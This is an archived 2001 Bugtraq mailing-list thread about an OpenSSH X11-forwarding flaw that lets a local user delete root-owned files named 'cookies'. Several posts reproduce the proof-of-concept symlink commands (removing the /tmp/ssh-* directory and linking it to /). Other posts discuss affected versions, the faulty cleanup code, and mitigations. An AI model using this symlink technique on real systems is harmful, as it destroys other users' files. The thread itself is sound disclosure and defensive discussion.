6579418 2001-06-04 22:14 +1200 /35 rader/ <zen-parse@gmx.net>
Sänt av: joel@lysator.liu.se
Importerad: 2001-06-04 17:22 av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <17242>
Ärende: SSH allows deletion of other users files...
------------------------------------------------------------
From: <zen-parse@gmx.net>
To: <bugtraq@securityfocus.com>
Message-ID: <Pine.LNX.4.33.0106042203210.13293-100000@clarity.local>
SSH allows deletion of other users files.
=========================================
You can delete any file on the filesystem you want...
as long as its called cookies.
Not really a very useful bug, but could cause annoyances to
people who actually like their cookies.
/home/zen/.netscape/cookies
sample exploit:-
[root@clarity /root]# touch /cookies;ls /cookies /cookies
[root@clarity /root]# ssh zen@localhost zen@localhost's password:
Last login: Mon Jun 4 20:22:39 2001 from localhost.local Linux
clarity 2.2.19-7.0.1 #1 Tue Apr 10 01:56:16 EDT 2001 i686 unknown
[zen@clarity zen]$ rm -r /tmp/ssh-XXW9hNY9/; ln -s /
/tmp/ssh-XXW9hNY9 [zen@clarity zen]$ logout Connection to localhost
closed. [root@clarity /root]# ls /cookies /bin/ls: /cookies: No
such file or directory
--zen-parse
(6579418) / <zen-parse@gmx.net>/----------(Ombruten)
Kommentar i text 6580678 av Jason DiCioccio <geniusj@bsd.st>
Kommentar i text 6580741 av David F. Skoll <dfs@roaringpenguin.com>
6580678 2001-06-04 09:08 -0700 /31 rader/ Jason DiCioccio <geniusj@bsd.st>
Sänt av: joel@lysator.liu.se
Importerad: 2001-06-04 22:52 av Brevbäraren
Extern mottagare: zen-parse@gmx.net
Extern kopiemottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <17251>
Kommentar till text 6579418 av <zen-parse@gmx.net>
Ärende: Re: SSH allows deletion of other users files...
------------------------------------------------------------
From: Jason DiCioccio <geniusj@bsd.st>
To: zen-parse@gmx.net
Cc: bugtraq@securityfocus.com
Message-ID: <3B1BB27A.1020104@bsd.st>
zen-parse@gmx.net wrote:
>SSH allows deletion of other users files.
>=========================================
>
>You can delete any file on the filesystem you want...
>
>as long as its called cookies.
>
Is this for OpenSSH, or SSH 1.2.x or? Just kind of curious what
version(s) of SSH this was tested on.
Also: SSH Version OpenSSH_2.3.0 green@FreeBSD.org 20010321 -- That
comes with FreeBSD 4.3-STABLE is not vulnerable at first glance. It
does not appear to use /tmp files as yours does and therefore is not
vulnerable.
Cheers,
-JD-
-- Jason DiCioccio - geniusj@bsd.st - PGP Key @
http://bsd.st/~geniusj/pgpkey.asc
(6580678) /Jason DiCioccio <geniusj@bsd.st>/(Ombruten)
Kommentar i text 6584742 av Dan Astoorian <djast@cs.toronto.edu>
6584742 2001-06-04 17:11 -0400 /36 rader/ Dan Astoorian <djast@cs.toronto.edu>
Sänt av: joel@lysator.liu.se
Importerad: 2001-06-05 19:35 av Brevbäraren
Extern mottagare: Jason DiCioccio <geniusj@bsd.st>
Extern kopiemottagare: zen-parse@gmx.net
Extern kopiemottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <17257>
Kommentar till text 6580678 av Jason DiCioccio <geniusj@bsd.st>
Ärende: Re: SSH allows deletion of other users files...
------------------------------------------------------------
From: Dan Astoorian <djast@cs.toronto.edu>
To: Jason DiCioccio <geniusj@bsd.st>
Cc: zen-parse@gmx.net, bugtraq@securityfocus.com
Message-ID: <01Jun4.171137edt.453133-3885@jane.cs.toronto.edu>
On Mon, 04 Jun 2001 12:08:26 EDT, Jason DiCioccio writes:
>
> Also: SSH Version OpenSSH_2.3.0 green@FreeBSD.org 20010321 -- That comes
> with FreeBSD 4.3-STABLE
> is not vulnerable at first glance. It does not appear to use /tmp files
> as yours does and therefore is not vulnerable.
My testing indicates that OpenSSH 2.3.0p1 *is* vulnerable if X11
forwarding is permitted. However, the /tmp/ssh-*/cookie file is not
created/removed unless X11 forwarding is enabled for the connection.
Note that some vendors ship OpenSSH with X11 forwarding disabled by
default *in the client*, which may be why you did not observe the
problem on FreeBSD. Be sure to use the "-X" option to ssh to enable
X11 forwarding in the client, and make sure you're testing from a
client where $DISPLAY is pointing at an X server. The $XAUTHORITY
environment variable will give the pathname to the file which is
unlink()'d when the connection is closed.
(For those who merely tried the literal commands submitted by
zen-parse@gmx.net, note also that the directory to be 'rm -r'd isn't
simply "/tmp/ssh-XXW9hNY9", but will depend on the value of that
XAUTHORITY variable; it will be different for each ssh connection.)
--
Dan Astoorian People shouldn't think that it's better to have
Sysadmin, CSLab loved and lost than never loved at all. It's
djast@cs.toronto.edu not, it's better to have loved and won. All
www.cs.toronto.edu/~djast/ the other options really suck. --Dan Redican
(6584742) /Dan Astoorian <djast@cs.toronto.edu>/(Ombruten)
6580741 2001-06-04 11:19 -0400 /23 rader/ David F. Skoll <dfs@roaringpenguin.com>
Sänt av: joel@lysator.liu.se
Importerad: 2001-06-04 23:04 av Brevbäraren
Extern mottagare: zen-parse@gmx.net
Extern kopiemottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <17252>
Kommentar till text 6579418 av <zen-parse@gmx.net>
Ärende: Re: SSH allows deletion of other users files...
------------------------------------------------------------
From: "David F. Skoll" <dfs@roaringpenguin.com>
To: <zen-parse@gmx.net>
Cc: <bugtraq@securityfocus.com>
Message-ID: <Pine.LNX.4.30.0106041118520.1924-100000@shishi.roaringpenguin.com>
On Mon, 4 Jun 2001 zen-parse@gmx.net wrote:
> [root@clarity /root]# touch /cookies;ls /cookies
> /cookies
> [root@clarity /root]# ssh zen@localhost
> zen@localhost's password:
> [zen@clarity zen]$ rm -r /tmp/ssh-XXW9hNY9/; ln -s / /tmp/ssh-XXW9hNY9
> [zen@clarity zen]$ logout
> [root@clarity /root]# ls /cookies
> /bin/ls: /cookies: No such file or directory
I could not duplicate this with OpenSSH 2.9p1-1 on Red Hat 6.2
--
David.
(6580741) /David F. Skoll <dfs@roaringpenguin.com>/-
Kommentar i text 6584807 av <sarnold@wirex.com>
6584807 2001-06-04 15:17 -0700 /40 rader/ <sarnold@wirex.com>
Sänt av: joel@lysator.liu.se
Importerad: 2001-06-05 19:47 av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <17258>
Kommentar till text 6580741 av David F. Skoll <dfs@roaringpenguin.com>
Ärende: Re: SSH allows deletion of other users files...
------------------------------------------------------------
From: sarnold@wirex.com
To: bugtraq@securityfocus.com
Message-ID: <20010604151704.N3400@blue.int.wirex.com>
On Mon, Jun 04, 2001 at 11:19:37AM -0400, David F. Skoll wrote:
> I could not duplicate this with OpenSSH 2.9p1-1 on Red Hat 6.2
David (and other bugtraq readers), we think we have found some
additional information that is important in tracking the source of the
problem.
The problem code is invoked in the X forwarding of ssh. If you try
again, this time passing -X as a command line argument to the ssh
client, you may find different results. Depending upon the user's
combination of ssh_config and the server's sshd_config, this may or
may not be (quickly) exploitable on your system. [1] Running ssh -X
will create the /tmp/ssh-XXXXXXXX directory that is needed for the
exploit.
Another thing to note: Solar Designer's Openwall patch for the 2.2.x
series of Linux kernels effectively prevents this exploit with a
kernel syslog entry similar to:
Security: not followed symlink of 5049.5050 by UID 0, EUID 0, process sshd:20264
The versions of OpenSSH we have found to be vulnerable are:
2.9p1, 2.5.2p2, 2.3.0p1
Cheers!
[1]: I seem to recall some changes in the X forwarding code in OpenSSH
recently (last year or so) that affects how the client and server
negotiate X forwarding, specifically that the sshd_config file may not
be able to prevent X forwarding, possibly depending upon the version
of sshd. It may have been the X client was not able to prevent X
forwarding, depending upon the version of ssh. Disabling X forwarding
in the configuration files may or may not disable this exploit.
(6584807) / <sarnold@wirex.com>/--------------------
6584863 2001-06-05 22:04 +1200 /43 rader/ <zen-parse@gmx.net>
Sänt av: joel@lysator.liu.se
Importerad: 2001-06-05 20:00 av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Extern kopiemottagare: vuldb@securityfocus.com
Mottagare: Bugtraq (import) <17259>
Ärende: OpenSSH_2.5.2p2 RH7.0 <- version info
------------------------------------------------------------
From: <zen-parse@gmx.net>
To: <bugtraq@securityfocus.com>
Cc: <vuldb@securityfocus.com>
Message-ID: <Pine.LNX.4.33.0106052159440.18509-100000@clarity.local>
Sorry, I forgot some relevant information.
With regards to previous post:
Tested on:-
Red Hat Linux release 7.0 (Guinness)
[zen-parse@clarity zen-parse]$ rpm -qf /usr/sbin/sshd
openssh-server-2.5.2p2-1.7.2
[zen-parse@clarity zen-parse]$ ssh -V
OpenSSH_2.5.2p2, SSH protocols 1.5/2.0, OpenSSL 0x0090581f
The configuration file has not been modified from the default
settings.
Although sshd does drop root privileges, the processes groups are not
cleared. (From /proc/$$/status of the sshd handling the session, and
the output of strace and ltrace. (no use of initgroups in the ltrace
output of the process that creates the directory, although it does do
change euid before hand. there no setgroups in the strace output.))
There may be a race condition for writing the cookie file to any
directory that the groups root has if you can delete the directory
and replace it with a symlink before the file is created, but I
haven't tested this.
The file itself is created with O_EXCL so a symlink in place of the
file cannot be used to create/overwrite arbitrary files.
On Redhat 7.0 it appears creation of a file called cookie could be
acheived in only a few places
/var/lock/subsys
/var/run/netreport
/mnt/cdrom
/mnt/floppy
and any of the world writable directorys.
(6584863) / <zen-parse@gmx.net>/----------(Ombruten)
6584920 2001-06-05 14:31 +0100 /40 rader/ Jerry Connolly <jerry.connolly@eircom.net>
Sänt av: joel@lysator.liu.se
Importerad: 2001-06-05 20:11 av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Extern kopiemottagare: Jason DiCioccio <geniusj@bsd.st>
Mottagare: Bugtraq (import) <17260>
Kommentar till text 6580678 av Jason DiCioccio <geniusj@bsd.st>
Ärende: Re: SSH allows deletion of other users files...
------------------------------------------------------------
From: Jerry Connolly <jerry.connolly@eircom.net>
To: bugtraq@securityfocus.com
Cc: Jason DiCioccio <geniusj@bsd.st>
Message-ID: <20010605143142.D10994@alpha.eng.eircom.net>
Jason DiCioccio said the following on Mon, Jun 04, 2001 at 09:08:26AM -0700,
> Also: SSH Version OpenSSH_2.3.0 green@FreeBSD.org 20010321 -- That comes
> with FreeBSD 4.3-STABLE
> is not vulnerable at first glance. It does not appear to use /tmp files
> as yours does and therefore is not vulnerable.
I tested it on OpenSSH_2.5.2 on OpenBSD and it worked. I had to
enable X forwarding on the client and server before the remote
machine would create (and attempt to unlink() ) the cookies file.
The offending code is in session.c in the xauthfile_cleanup_proc()
function
<SNIP>
/*
* Remove local Xauthority file.
*/
void
xauthfile_cleanup_proc(void *ignore)
{
debug("xauthfile_cleanup_proc called");
if (xauthfile != NULL) {
char *p;
unlink(xauthfile);
</SNIP>
where xauthfile points to a buffer containing the name of the cookies
file.
Cheers.
--
Jerry Connolly Computer Incident Response Team
jerry.connolly@eircom.net Eircom Multimedia
(6584920) /Jerry Connolly <jerry.connolly@eircom.net>/(Ombruten)
6585259 2001-06-04 23:08 +0200 /35 rader/ Markus Friedl <markus@openssh.com>
Sänt av: joel@lysator.liu.se
Importerad: 2001-06-05 21:24 av Brevbäraren
Extern mottagare: Jason DiCioccio <geniusj@bsd.st>
Extern kopiemottagare: zen-parse@gmx.net
Extern kopiemottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <17267>
Kommentar till text 6580678 av Jason DiCioccio <geniusj@bsd.st>
Ärende: Re: SSH allows deletion of other users files...
------------------------------------------------------------
From: Markus Friedl <markus@openssh.com>
To: Jason DiCioccio <geniusj@bsd.st>
Cc: zen-parse@gmx.net, bugtraq@securityfocus.com
Message-ID: <20010604230838.A9530@faui02.informatik.uni-erlangen.de>
wrong. openssh does since the 1st release.
On Mon, Jun 04, 2001 at 09:08:26AM -0700, Jason DiCioccio wrote:
> zen-parse@gmx.net wrote:
>
> >SSH allows deletion of other users files.
> >=========================================
> >
> >You can delete any file on the filesystem you want...
> >
> >as long as its called cookies.
> >
> Is this for OpenSSH, or SSH 1.2.x or? Just kind of curious what
> version(s) of SSH this was tested on.
>
> Also: SSH Version OpenSSH_2.3.0 green@FreeBSD.org 20010321 -- That comes
> with FreeBSD 4.3-STABLE
> is not vulnerable at first glance. It does not appear to use /tmp files
> as yours does and therefore is not vulnerable.
>
> Cheers,
> -JD-
>
> --
> Jason DiCioccio - geniusj@bsd.st - PGP Key @ http://bsd.st/~geniusj/pgpkey.asc
>
>
>
(6585259) /Markus Friedl <markus@openssh.com>/------
6586003 2001-06-05 11:30 -0600 /115 rader/ <aleph1@securityfocus.com>
Sänt av: joel@lysator.liu.se
Importerad: 2001-06-05 23:46 av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <17272>
Kommentar till text 6580678 av Jason DiCioccio <geniusj@bsd.st>
Ärende: Re: SSH allows deletion of other users files...
------------------------------------------------------------
From: aleph1@securityfocus.com
To: bugtraq@securityfocus.com
Message-ID: <20010605113037.A12758@securityfocus.com>
Tomas Ericsson <te@matematik.su.se>
The vulnerability works perfectly for me: sshd version OpenSSH_2.3.0 green@FreeBSD.org 20010321
# uname -a
FreeBSD myhost 4.3-RELEASE FreeBSD 4.3-RELEASE #0: Sun Apr 22 01:05:25 GMT 2001
root@jkh101.osd.bsdi.com:/usr/src/sys/compile/GENERIC alpha
[root@myhost root]# echo "testing">/cookies
[root@myhost root]# ls -l /cookies
-rw-r--r-- 1 root wheel 8 Jun 5 01:48 /cookies
[root@myhost root]# ssh -l te myhost
[te@myhost te]# rm -rf /tmp/ssh-1i24iea5
[te@myhost te]# ln -s / /tmp/ssh-1i24iea5
[te@myhost te]# logout
[root@myhost root]# ls -l /cookies
ls: /cookies: No such file or directory
Shannon Lee <shannon@scatter.com>
reproduced with OpenSSH_2.3.0p1 on redhat 6.2.
TE <te@linux.nu>
This vulnerability works fine on both RedHat 7.1 & 7.0 with the latest
updated packages from RedHat installed.
RH71# uname -a
Linux host1 2.4.2-2 #1 Sun Apr 8 20:41:30 EDT 2001 i686 unknown
RH71# rpm -qa|grep openssh-server
openssh-server-2.5.2p2-5
RH70# uname -a
Linux host2 2.2.19-7.0.1 #1 Tue Apr 10 01:56:16 EDT 2001 i686 unknown
RH70# rpm -qa|grep openssh-server
openssh-server-2.5.2p2-1.7.2
"David Thiel" <dthiel@nexprise.com>
I tested this on 4.3-RELEASE, and was successful.
SSH Version OpenSSH_2.3.0 green@FreeBSD.org 20010321
KF <dotslash@snosoft.com>
Works on my box
[root@bounce dotslash]# cat /etc/redhat-release
Red Hat Linux release 7.0 (Guinness)
root@bounce dotslash]# ssh -V
SSH Version OpenSSH_2.1.1, protocol versions 1.5/2.0.
Compiled with SSL (0x0090581f).
Jan-Frode Myklebust <janfrode@parallab.uib.no>
I just tested with OpenSSH_2.5.2p2 on RedHat 7.0,
and OpenSSH_2.9p1 on IRIX 6.5 and both are
vulnerable to this. I used protocol version 2 on
both machines.
Luciano Miguel Ferreira Rocha <strange@nsk.yi.org>
Confirmied on RedHat 7.0 w/ OpenSSH 2.5.2p1. It needs, of course, to
have X forwarding activated.
"Golden_Eternity" <bhodi@bigfoot.com>
I tried to reproduce this on a system running ssh 2.4.0, but I was
unable to locate the /tmp/ssh-* directory.
What version of ssh were you using when you discovered this?
[test@shiva test]$ ssh test@localhost
warning: Need basic cursor movement capablity, using vt100
test's password:
Authentication successful.
Last login: Mon Jun 04 2001 10:42:08 -0700
No mail.
[test@shiva test]$ ls -l /tmp/
total 12
drwxr-xr-x 2 root root 12288 Apr 8 11:59 lost+found
[test@shiva test]$
"Schlosser, Matt D." <mschlosser@eschelon.com
On the contrary, it just takes another form:
[root@bob /root]# touch /cookies;ls /cookies
/cookies
[root@bob /root]# ssh zen@localhost
zen@localhost's password:
[zen@bob zen]$ rm -r /tmp/orbit-zen/; ln -s / /tmp/orbit-zen
[zen@bob zen]$ logout
Connection to localhost closed.
[root@bob /root]# ls /cookies
/bin/ls: /cookies: No such file or directory
--
Elias Levy
SecurityFocus.com
http://www.securityfocus.com/
Si vis pacem, para bellum
(6586003) / <aleph1@securityfocus.com>/---(Ombruten)
6586333 2001-06-05 15:21 -0400 /51 rader/ Peter W <peterw@usa.net>
Sänt av: joel@lysator.liu.se
Importerad: 2001-06-06 02:53 av Brevbäraren
Extern mottagare: sarnold@wirex.com
Extern kopiemottagare: bugtraq@securityfocus.com
Extern kopiemottagare: peterw@tux.org
Mottagare: Bugtraq (import) <17276>
Kommentar till text 6584807 av <sarnold@wirex.com>
Ärende: Re: SSH / X11 auth: needless complexity -> security problems?
------------------------------------------------------------
From: Peter W <peterw@usa.net>
To: sarnold@wirex.com
Cc: bugtraq@securityfocus.com, peterw@tux.org
Message-ID: <20010605152132.A20711@usa.net>
On Mon, Jun 04, 2001 at 03:17:04PM -0700, sarnold@wirex.com wrote:
> On Mon, Jun 04, 2001 at 11:19:37AM -0400, David F. Skoll wrote:
> > I could not duplicate this with OpenSSH 2.9p1-1 on Red Hat 6.2
> The problem code is invoked in the X forwarding of ssh. If you try
> again, this time passing -X as a command line argument to the ssh
> client, you may find different results. Depending upon the user's
> combination of ssh_config and the server's sshd_config, this may or
> may not be (quickly) exploitable on your system. [1] Running ssh -X
> will create the /tmp/ssh-XXXXXXXX directory that is needed for the
> exploit.
The sshd documentation says that sshd wil not invoke 'xauth' if it
finds and can execute either $HOME/.ssh/rc or /etc/ssh/sshrc. And
you can get sshd to more safely write an xauthority cookie file
using /etc/ssh/sshrc. But it still creates /tmp/ssh-XXXXXXXX/cookies
-- in this case, making an empty file. Not only that, but sshd
resets the XAUTHORITY value to point to this empty cookie, crippling
the work done by /etc/ssh/sshrc. And then when the user logs out,
sshd wipes out the empty, useless /tmp/ssh-XXXXXXXX/cookies.
As for the patches that are more careful when creating
/tmp/ssh-XXXXXXXX/cookies -- isn't there still an assumption that
/tmp/ssh-XXXXXXXX/cookies won't be removed before the ssh session
ends? Many system use tools like 'tmpwatch' to prune unused files
while the system is running (instead of depending on things like
tmpfs cleaning /tmp at reboot time). On those systems, if someone
logs in with X forwarding enabled, but never runs any apps that need
to read $XAUTHORITY, and stays on log enough that 'tmpwatch' removes
the whole /tmp/ssh-XXXXXXXX directory, then don't you have another
attack vector -- regardless of how careful you were when creating
the cookies file & its parent directory?
It seems to me this whole xauthority business may be adding
complexity for no good reason. Since the DISPLAY name changes, and an
Xauthority file can hold multiple X cookie credentials, is there any
good reason why OpenSSH need to make, and then, wipe out, a special
xauthority file? why it can't just add credentials to the default
xauthority file? Wouldn't that be simpler and, almost by definition,
more secure? If you really want to be polite/clean, you can use the
xauth "remove" command to purge the cookie from ~/.Xauthority
-Peter
--
Cheap X "run as" hack available at http://www.tux.org/~peterw/
(6586333) /Peter W <peterw@usa.net>/------(Ombruten)
6599173 2001-06-06 10:11 +0200 /42 rader/ Markus Friedl <mfriedl@genua.de>
Sänt av: joel@lysator.liu.se
Importerad: 2001-06-08 20:05 av Brevbäraren
Extern mottagare: Peter W <peterw@usa.net>
Extern kopiemottagare: sarnold@wirex.com
Extern kopiemottagare: bugtraq@securityfocus.com
Extern kopiemottagare: peterw@tux.org
Mottagare: Bugtraq (import) <17323>
Kommentar till text 6586333 av Peter W <peterw@usa.net>
Ärende: Re: SSH / X11 auth: needless complexity -> security problems?
------------------------------------------------------------
From: Markus Friedl <mfriedl@genua.de>
To: Peter W <peterw@usa.net>
Cc: sarnold@wirex.com, bugtraq@securityfocus.com, peterw@tux.org
Message-ID: <20010606101118.B18811@faui02.informatik.uni-erlangen.de>
On Tue, Jun 05, 2001 at 03:21:32PM -0400, Peter W wrote:
> As for the patches that are more careful when creating
> /tmp/ssh-XXXXXXXX/cookies -- isn't there still an assumption that
> /tmp/ssh-XXXXXXXX/cookies won't be removed before the ssh session ends?
no. sshd did switch uid/groups before creating the dir and the file,
but did not when deleting them. the same applies to agent forwarding.
> then don't
> you have another attack vector -- regardless of how careful you were when
> creating the cookies file & its parent directory?
no, i don't think so.
> It seems to me this whole xauthority business may be adding complexity for
> no good reason. Since the DISPLAY name changes, and an Xauthority file can
> hold multiple X cookie credentials, is there any good reason why OpenSSH
> need to make, and then, wipe out, a special xauthority file? why it can't
> just add credentials to the default xauthority file? Wouldn't that be
> simpler and, almost by definition, more secure? If you really want to be
> polite/clean, you can use the xauth "remove" command to purge the cookie
> from ~/.Xauthority
this feature was inherited from ossh and the reason was:
1) if $HOME is on NFS, then the cookie travels unencrypted
over the network, this defeats the purpose of X11-fwding
2) $HOME/.Xauthority gets polluted with temorary cookies.
however, i'm not sure whether the benefit justifies the complexity,
so this feature could be removed from future OpenSSH versions.
on the other hand, the same problem applies to the agent socket, and
I won't remove the agent code: you can delete all files named
agent.$pid on the system ($pid is the pid of the forked sshd process).
-m
(6599173) /Markus Friedl <mfriedl@genua.de>/--------
6599202 2001-06-07 11:45 -0700 /66 rader/ Dale Southard <southard1@llnl.gov>
Sänt av: joel@lysator.liu.se
Importerad: 2001-06-08 20:29 av Brevbäraren
Extern mottagare: Peter W <peterw@usa.net>
Extern kopiemottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <17325>
Ärende: Re: SSH / X11 auth: needless complexity -> security problems?
------------------------------------------------------------
From: Dale Southard <southard1@llnl.gov>
To: Peter W <peterw@usa.net>
Cc: bugtraq@securityfocus.com
Message-ID: <ub6iti8yvqc.fsf@zonker.llnl.gov>
Peter W <peterw@usa.net> writes:
> On Tue, Jun 05, 2001 at 07:36:24PM -0700, Dale Southard wrote:
> > Peter W <peterw@usa.net> writes:
>
> > > Since the DISPLAY name changes, and an Xauthority file can
> > > hold multiple X cookie credentials, is there any good reason why OpenSSH
> > > need to make, and then, wipe out, a special xauthority file?
>
> > When ~ lives in NFS/AFS/DFS filespace, ~/.Xauthority file will be
> > vulnerable to attack. If successful, the attacker has illegitimate
> > control of the originating machine despite ssh's attempt to securely
> > forward the authentication material.
>
> So SSH is trying to work around security problems with network
> filesystems? A noble goal, but I'm afraid we have a real-world example
> here of the dangers of adding complexity to Program B to make up for
> Program A's deficiencies.
Absolutely. I didn't mean to imply that it was a good idea, only to
explain how it got there in the first place. The ``Xauthority in
tmp'' stuff was originally part of dugsong's AFS patches to ssh 1.2.x.
At some point he quit work on those patches and worked on openssh
(which is probably how we got to where we are, but I don't know that
for sure).
The road to hell is paved with good intentions. Dugsong has done some
very good security work, but trying to make up for AFS/NFS and X11
weaknesses is a lot to bite off....
> Authentication: some network filesystems have rather weak authentication
> mechanisms. In these, it may be easy for an attacker to use the network
> filesystem itself to connect and read data in ~victim. But in these
> cases, an attacker also likely will have write privileges to ~victim,
> making it possible to put trojans in ~victim/.profile, rendering any sshd
> ~victim/.Xauthority workaround meaningless.
Still not the whole story. AFS uses kerb4 for authentication, but the
filesystem authorization is controlled by directory ACLs. For various
reasons, it's pretty common to give ``system:anyuser'' access to ~/
which means anyone,anywhere can read your Xauth cookies.
The problem isn't the authentication, it's the granularity of the
authorization that the filesystem affords. NFS leaves authorization
up to the client host (aka ``No File Security''). AFS provides
directory-level authorization, but users often use to to do silly
things. DFS provides file-lelel ACLs, but no one seems to care
anymore... :-|
--
/* Dale Southard Jr. southard1@llnl.gov 925-422-1463 */
/* Computer Scientist, Accelerated Strategic Computing Initiative */
/* L-550, Lawrence Livermore National Lab, Livermore CA 94551 */
/* AFF/I, SL/I, T/I, D-11216, Sr. Rig --- I'd rather be skydiving */
(6599202) /Dale Southard <southard1@llnl.gov>/------
6599441 2001-06-06 09:51 +0100 /23 rader/ Jan Grant <Jan.Grant@bristol.ac.uk>
Sänt av: joel@lysator.liu.se
Importerad: 2001-06-08 22:09 av Brevbäraren
Extern mottagare: bugtraq <bugtraq@securityfocus.com>
Mottagare: Bugtraq (import) <17333>
Kommentar till text 6579418 av <zen-parse@gmx.net>
Ärende: nosymfollow Re: SSH allows deletion of other users files...
------------------------------------------------------------
From: Jan Grant <Jan.Grant@bristol.ac.uk>
To: bugtraq <bugtraq@securityfocus.com>
Message-ID: <Pine.GSO.4.31.0106060947460.2880-100000@mail.ilrt.bris.ac.uk>
On Mon, 4 Jun 2001, zen-parse wrote:
> [zen@clarity zen]$ rm -r /tmp/ssh-XXW9hNY9/; ln -s / /tmp/ssh-XXW9hNY9
For a long time now I've been mounting /tmp with the "nosymfollow"
option (FreeBSD) - nothing seems to be broken by this, apart from a
whole slew of these kinds of bugs :-)
Apologies for pointing out the obvious; this mount option seems really
useful.
jan (expecting a flood of "but it breaks this" mail now)
-- jan grant, ILRT, University of
Bristol. http://www.ilrt.bris.ac.uk/ Tel +44(0)117 9287163 Fax +44
(0)117 9287112 RFC822 jan.grant@bris.ac.uk YKYBPTMRogueW... you try
to move diagonally in vi.
(6599441) /Jan Grant <Jan.Grant@bristol.ac.uk>/(Ombruten)
6604391 2001-06-08 21:27 +0200 /21 rader/ Casper Dik <Casper.Dik@Sun.COM>
Sänt av: joel@lysator.liu.se
Importerad: 2001-06-10 23:21 av Brevbäraren
Extern mottagare: Dale Southard <southard1@llnl.gov>
Extern kopiemottagare: Peter W <peterw@usa.net>
Extern kopiemottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <17347>
Kommentar till text 6599202 av Dale Southard <southard1@llnl.gov>
Ärende: Re: SSH / X11 auth: needless complexity -> security problems?
------------------------------------------------------------
From: Casper Dik <Casper.Dik@Sun.COM>
To: Dale Southard <southard1@llnl.gov>
Cc: Peter W <peterw@usa.net>, bugtraq@securityfocus.com
Message-ID: <200106081927.VAA23842@romulus.Holland.Sun.COM>
>The problem isn't the authentication, it's the granularity of the
>authorization that the filesystem affords. NFS leaves authorization
>up to the client host (aka ``No File Security'').
NFS provides most any level of security you desire; not many vendors
implement NFS security, though. NFSv4 requires the implementation
of GSS_API (i.e., Kerberos V based) security in NFS.
Don't complain that NFS is insecure if it's just because you don't
want to invest the time to configure it properly.
Casper
(6604391) /Casper Dik <Casper.Dik@Sun.COM>/---------
6604502 2001-06-08 14:33 -0600 /21 rader/ Theo de Raadt <deraadt@cvs.openbsd.org>
Sänt av: joel@lysator.liu.se
Importerad: 2001-06-10 23:48 av Brevbäraren
Extern mottagare: Markus Friedl <mfriedl@genua.de>
Extern kopiemottagare: Peter W <peterw@usa.net>
Extern kopiemottagare: sarnold@wirex.com
Extern kopiemottagare: bugtraq@securityfocus.com
Extern kopiemottagare: peterw@tux.org
Mottagare: Bugtraq (import) <17349>
Kommentar till text 6599173 av Markus Friedl <mfriedl@genua.de>
Ärende: Re: SSH / X11 auth: needless complexity -> security problems?
------------------------------------------------------------
From: Theo de Raadt <deraadt@cvs.openbsd.org>
To: Markus Friedl <mfriedl@genua.de>
Cc: Peter W <peterw@usa.net>, sarnold@wirex.com,
bugtraq@securityfocus.com, peterw@tux.org
Message-ID: <200106082033.f58KXov12485@cvs.openbsd.org>
> this feature was inherited from ossh and the reason was:
> 1) if $HOME is on NFS, then the cookie travels unencrypted
> over the network, this defeats the purpose of X11-fwding
> 2) $HOME/.Xauthority gets polluted with temorary cookies.
> however, i'm not sure whether the benefit justifies the complexity,
> so this feature could be removed from future OpenSSH versions.
I cannot tell which is more important. No wait, I can.
OK, let's do the home dir thing then.
In the NFS case, if someone is sniffing your NFS traffic you are
fucked from here to hell.
(6604502) /Theo de Raadt <deraadt@cvs.openbsd.org>/-